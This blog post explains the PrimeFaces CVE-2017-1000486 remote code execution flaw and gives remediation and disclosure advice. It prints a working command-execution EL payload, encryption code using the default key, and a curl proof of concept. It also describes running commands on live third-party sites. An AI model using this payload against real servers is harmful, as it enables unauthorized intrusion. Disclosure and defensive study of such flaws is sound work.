During my researches for security issues in popular web frameworks, I stumbled upon a flaw in the Primefaces JSF Framework, discovered by Minded Security back in 2016. I also found this nice summary of the vulnerability some weeks later. Basically, it allows to perform remote code execution (RCE) via a simple HTTP call.

This vulnerability shows what happens when an open source library gets compromised but admins and developers never get notified or fail to have any vulnerability management system in place. I found many vulnerable websites in the wild and notified some of them. Among them were some private websites and small businesses, but also huge companies and even governmental institutions around the globe were affected, potentially hosting valuable data.

The Bug

There are essentially two issues here:

  • Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto. Using the tool padbuster, attackers can create their own encrypted payload to be executed on the server.
  • Same versions do have a default salt and password (“primefaces”) set in code. As most programmers did not change these, using padbuster is not necessary at all.

The Exploit

Using some more info on a EL payload from the Minded Security guys, I created the following EL expression allowing command execution on linux and windows systems:

"var os = java.lang.System.getProperty(\"os.name\");
var proc = null;
proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()
: proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();
var is = proc.getInputStream();
var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";
while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}

(where %s is replaced by the system command).

This expression just needs to be encrypted using the good old DES encryption algorithm. I used the original code of primefaces (org.primefaces.util.StringEncrypter) and wrote a simple Junit test:

private void doEncrypt(String payload) throws UnsupportedEncodingException {
StringEncrypter encrypter = new StringEncrypter("primefaces");
String result = encrypter.encrypt(payload);
String result_urlenc = URLEncoder.encode(result, "UTF-8");

Time for a proof-of-concept:

root@kali:~# enc="TIXG%2F%2FZlMWz%2BuNGfZ1psoWPYqrzYTYmu3dN%2B6cc4kAoZv6Ge0cWSmYpAj5%2FwrDCRcHWvgXbDtIn06VIvJwKQqk9spjdr1Wo6zTWjQ%2BqAxbPaR3OIIo3Ae%2BbYe54y0z7d2r0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omxbMMt2fv7xGS0%2B4VHf8fF4GsOsMC1Q1CD2qQn4Md8fU1%2BDEC4KKdA5VCimW327rbKxsrGVewWnTkA8ejHwlwciQmXFQQ53LMk%2Bj1iNwIChQnVPAe4sFKS9x02Y%2BZZDQFTr2XUXSRwAAAAAAAAAA";
root@kali:~# curl -X POST "https://example.com/javax.faces.resource/dynamiccontent.properties.jsf" -ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&cmd=id"

uid=0(root) gid=0(root) groups=0(root)

Hackers have been using this already in bug bounty programs since 2016.

Next, I wrote a custom metasploit exploit module, which you can find on github.

Fixing the problem

The authors of Primefaces have fixed the issue in versions 5.2.21, 5.3.8 and 6.0, but failed to claim a CVE for it. So I registered one at iwantacve.org and got it claimed a few days later:

With this CVE-2017-1000486, developers and DevOps have a chance to automatically filter out vulnerable versions of primefaces, e.g. the excellent OWASP Dependency Check Plugin.

Responsible Disclosure

As a white hat infosec person, the main challenges when trying to help people fix their problems are:

  • to get the message to the right contact that is technically skilled and responsible to fix the issue or knows how to spread the word internally
  • once you found that contact, to transmit the vulnerability details in a confidential way (PGP anyone?)
  • to contact them in a way that doesn’t look like spam but raises their attention
  • have a proof-of-concept that doesn’t cause any harm or damage to the company/institution or person

To find vulnerable sites I tried google dorks and shodan, but had the best results with publicwww.com and nerdydata.com. Builtwith.com showed also some good results, but I didn’t want to spend a fortune on their pro account.

I had found several thousand sites using the Primefaces framework and went on to check some of them with a simple „id“ command.

Lessons Learned

Web Developers

  • Update your software to use the latest Primefaces version
  • Integrate the dependency check plugin in your pom.xml or whatever your are using. It’s free and helps getting rid of vulnerable third party software and just takes minutes
  • Don’t rely on the security of third party software. Automatic code analysis could have helped you here, too. There are commercial solutions but I checked with FindbugsSpotbugs Plugin Find Security Bugs and it found the EL expression language issues in the Primefaces Code.

Framework Developers

  • Take security serious!
  • Handle your security bugs with priority, ship fixes fast
  • Reserve CVEs for them to help users getting fixes as fast as possible
  • Consider fixing security issues in older versions that might still be much in use

Website Owners

  • Offer a secure communication channel for bug reports and security issues. My first choice would be a PGP key and an email address.
  • Consider adding a security.txt to your website at https://www.example.com/.well-known/security.txt
  • Consider starting a bug bounty program to motivate hackers searching for issues on your websites. You can use HackerOne or BugCrowd for that.